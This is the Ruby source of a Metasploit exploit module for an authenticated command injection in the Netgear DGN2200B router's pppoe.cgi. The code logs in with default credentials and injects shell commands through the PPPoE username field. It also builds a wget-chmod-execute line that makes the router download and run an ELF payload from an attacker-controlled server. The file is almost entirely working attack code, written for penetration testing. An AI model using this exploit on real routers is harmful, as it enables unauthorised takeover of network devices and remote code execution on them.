360 lines
14 KiB
Ruby
360 lines
14 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Netgear DGN2200B pppoe.cgi Remote Command Execution',
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'Description' => %q{
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Some Netgear Routers are vulnerable to an authenticated OS command injection
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on their web interface. Default credentials for the web interface are admin/admin
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or admin/password. Since it is a blind os command injection vulnerability, there
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is no output for the executed command when using the cmd generic payload. A ping
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command against a controlled system could be used for testing purposes. This module
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overwrites parts of the PPOE configuration, while the module tries to restore it
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after exploitation configuration backup is recommended.
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},
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'Author' =>
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[
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'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
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'juan vazquez' # minor help with msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'BID', '57998' ],
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[ 'EDB', '24513' ],
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[ 'OSVDB', '90320' ],
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[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-015' ]
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],
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'DisclosureDate' => 'Feb 15 2013',
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'Privileged' => true,
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'Platform' => %w{ linux unix },
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Targets' =>
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[
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[ 'CMD',
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{
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'Arch' => ARCH_CMD,
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'Platform' => 'unix'
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}
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],
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[ 'Linux mipsbe Payload',
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{
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'Arch' => ARCH_MIPSBE,
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'Platform' => 'linux'
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}
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],
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],
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'DefaultTarget' => 1
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))
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register_options(
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[
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OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]),
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OptString.new('HttpPassword', [ true, 'The password for the specified username', 'password' ]),
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OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
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OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
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OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
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OptInt.new('RELOAD_CONF_DELAY', [true, 'Time to wait to allow the remote device to load configuration', 45])
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])
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end
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def get_config(config, pattern)
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if config =~ /#{pattern}/
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#puts "[*] #{$1}" #debugging
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return $1
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end
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return ""
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end
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def grab_config(user,pass)
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print_status("#{rhost}:#{rport} - Trying to download the original configuration")
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begin
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res = send_request_cgi({
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'uri' => '/BAS_pppoe.htm',
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'method' => 'GET',
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'authorization' => basic_auth(user,pass)
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})
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if res.nil? or res.code == 404
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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end
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if [200, 301, 302].include?(res.code)
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if res.body =~ /pppoe_username/
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print_good("#{rhost}:#{rport} - Successfully downloaded the configuration")
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else
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported")
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end
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else
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
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end
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@pppoe_username_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_username\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")
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@pppoe_passwd_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"password\"\ name=\"pppoe_passwd\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")
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@pppoe_servicename_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_servicename\"\ maxlength=\"63\"\ size=\"15\"\ value=\"(.*)\"><\/td")
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@runtest_orig = get_config(res.body, "<input\ type=\"hidden\"\ name=\"runtest\"\ value=\"(.*)\">")
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@wan_ipaddr_orig = get_config(res.body, "<INPUT\ name=wan_ipaddr\ type=hidden\ value=\ \"(.*)\">")
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@pppoe_localip_orig = get_config(res.body, "<INPUT\ name=pppoe_localip\ type=hidden\ value=\ \"(.*)\">")
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@wan_dns_sel_orig = get_config(res.body, "<INPUT\ name=wan_dns_sel\ type=hidden\ value=\ \"(.*)\">")
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@wan_dns1_pri_orig = get_config(res.body, "<INPUT\ name=wan_dns1_pri\ type=hidden\ value=\ \"(.*)\">")
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@wan_dns1_sec_orig = get_config(res.body, "<INPUT\ name=wan_dns1_sec\ type=hidden\ value=\ \"(.*)\">")
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@wan_hwaddr_sel_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_sel\ type=hidden\ value=\ \"(.*)\">")
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@wan_hwaddr_def_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_def\ type=hidden\ value=\ \"(.*)\">")
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@wan_hwaddr2_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr2\ type=hidden\ value=\ \"(.*)\">")
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@wan_hwaddr_pc_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_pc\ type=hidden\ value=\ \"(.*)\">")
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@wan_nat_orig = get_config(res.body, "<INPUT\ name=wan_nat\ type=hidden\ value=\ \"(.*)\">")
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@opendns_parental_ctrl_orig = get_config(res.body, "<INPUT\ name=opendns_parental_ctrl\ type=hidden\ value=\ \"(.*)\">")
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@pppoe_flet_sel_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_sel\ type=hidden\ value=\ \"(.*)\">")
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@pppoe_flet_type_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_type\ type=hidden\ value=\ \"(.*)\">")
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@pppoe_temp_orig = get_config(res.body, "<INPUT\ name=pppoe_temp\ type=hidden\ value=\ \"(.*)\">")
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@apply_orig = get_config(res.body, "<input\ type=\"SUBMIT\"\ name=\"apply\"\ value=(.*)\ onClick=\"return\ checkData\(\)\">")
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end
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def restore_conf(user,pass,uri)
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# we have used most parts of the original configuration
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# just need to restore pppoe_username
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cmd = @pppoe_username_orig
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print_status("#{rhost}:#{rport} - Asking the Netgear device to reload original configuration")
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res = request(cmd,user,pass,uri)
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if (!res)
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
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end
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print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
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select(nil, nil, nil, @timeout)
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end
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def request(cmd,user,pass,uri)
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begin
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#original post request
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#login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20COMMAND%20%26
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#&pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5
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#&WANAssign=Dynamic&DNSAssign=0&en_nat=1&MACAssign=0&apply=%C3%9Cbernehmen
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#&runtest=yes&wan_ipaddr=0.0.0.0&pppoe_localip=0.0.0.0&wan_dns_sel=0
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#&wan_dns1_pri=0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=0
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#&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05
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#&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0
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#&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0
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res = send_request_cgi(
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{
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'uri' => uri,
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'method' => 'POST',
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'authorization' => basic_auth(user,pass),
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'encode_params' => false,
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'vars_post' => {
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"login_type" => "PPPoE%28PPP+over+Ethernet%29",#default must be ok
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"pppoe_username" => cmd,
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"pppoe_passwd" => @pppoe_passwd_orig,
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"pppoe_servicename" => @pppoe_servicename_orig,
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"pppoe_dod" => "1", #default must be ok
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"pppoe_idletime" => "5", #default must be ok
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"WANAssign" => "Dynamic", #default must be ok
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"DNSAssign" => "0", #default must be ok
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"en_nat" => "1", #default must be ok
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"MACAssign" => "0", #default must be ok
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"apply" => @apply_orig,
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"runtest" => @runtest_orig,
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"wan_ipaddr" => @wan_ipaddr_orig,
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"pppoe_localip" => @pppoe_localip_orig,
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"wan_dns_sel" => @wan_dns_sel_orig,
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"wan_dns1_pri" => @wan_dns1_pri_orig,
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"wan_dns1_sec" => @wan_dns1_sec_orig,
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"wan_hwaddr_sel" => @wan_hwaddr_sel_orig,
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"wan_hwaddr_def" => @wan_hwaddr_def_orig,
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"wan_hwaddr2" => @wan_hwaddr2_orig,
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"wan_hwaddr_pc" => @wan_hwaddr_pc_orig,
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"wan_nat" => @wan_nat_orig,
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"pppoe_flet_sel" => @pppoe_flet_sel_orig,
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"pppoe_flet_type" => @pppoe_flet_type_orig,
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"pppoe_temp" => @pppoe_temp_orig,
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"opendns_parental_ctrl" => @opendns_parental_ctrl_orig
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}
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})
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return res
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rescue ::Rex::ConnectionError
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vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
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return nil
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end
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end
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def logout(user,pass)
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begin
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res = send_request_cgi({
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'uri' => '/LGO_logout.htm',
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'method' => 'GET',
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'authorization' => basic_auth(user,pass)
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})
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if res.nil? or res.code == 404
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible")
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
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end
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end
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def exploit
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downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
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uri = '/pppoe.cgi'
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user = datastore['HttpUsername']
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pass = datastore['HttpPassword']
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@timeout = datastore['RELOAD_CONF_DELAY']
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#
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# testing Login
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#
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print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
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begin
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res = send_request_cgi({
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'uri' => '/',
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'method' => 'GET',
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'authorization' => basic_auth(user,pass)
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})
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if res.nil? or res.code == 404
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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end
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if [200, 301, 302].include?(res.code)
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print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
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else
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
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end
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grab_config(user,pass)
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if target.name =~ /CMD/
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if not (datastore['CMD'])
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fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
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end
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cmd = payload.encoded
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cmd = "%26%20#{cmd}%20%26"
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res = request(cmd,user,pass,uri)
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if (!res)
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
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else
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print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
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end
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return
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end
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#thx to Juan for his awesome work on the mipsel elf support
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@pl = generate_payload_exe
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@elf_sent = false
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#
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# start our server
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#
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resource_uri = '/' + downfile
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if (datastore['DOWNHOST'])
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service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
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else
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#do not use SSL
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if datastore['SSL']
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ssl_restore = true
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datastore['SSL'] = false
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end
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#we use SRVHOST as download IP for the coming wget command.
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#SRVHOST needs a real IP address of our download host
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if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
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srv_host = Rex::Socket.source_address(rhost)
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else
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srv_host = datastore['SRVHOST']
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end
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service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
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print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
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start_service({'Uri' => {
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'Proc' => Proc.new { |cli, req|
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on_request_uri(cli, req)
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},
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'Path' => resource_uri
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}})
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datastore['SSL'] = true if ssl_restore
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end
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#
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# download payload
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#
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print_status("#{rhost}:#{rport} - Asking the Netgear device to download and execute #{service_url}")
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#this filename is used to store the payload on the device
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filename = rand_text_alpha_lower(8)
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cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename};chmod 777 /tmp/#{filename};/tmp/#{filename}"
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cmd = Rex::Text.uri_encode(cmd)
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cmd = "%26%20#{cmd}%20%26"
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res = request(cmd,user,pass,uri)
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if (!res)
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
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end
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# wait for payload download
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if (datastore['DOWNHOST'])
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print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload")
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select(nil, nil, nil, datastore['HTTP_DELAY'])
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else
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wait_linux_payload
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end
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register_file_for_cleanup("/tmp/#{filename}")
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#
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#reload original configuration
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#
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restore_conf(user,pass,uri)
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#
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#lockout of the device and free the management sessions
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#
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logout(user,pass)
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end
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# Handle incoming requests from the server
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def on_request_uri(cli, request)
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#print_status("on_request_uri called: #{request.inspect}")
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if (not @pl)
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print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
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return
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end
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print_status("#{rhost}:#{rport} - Sending the payload to the server...")
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@elf_sent = true
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send_response(cli, @pl)
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end
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# wait for the data to be sent
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def wait_linux_payload
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print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
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waited = 0
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while (not @elf_sent)
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select(nil, nil, nil, 1)
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waited += 1
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if (waited > datastore['HTTP_DELAY'])
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
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end
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end
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end
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end
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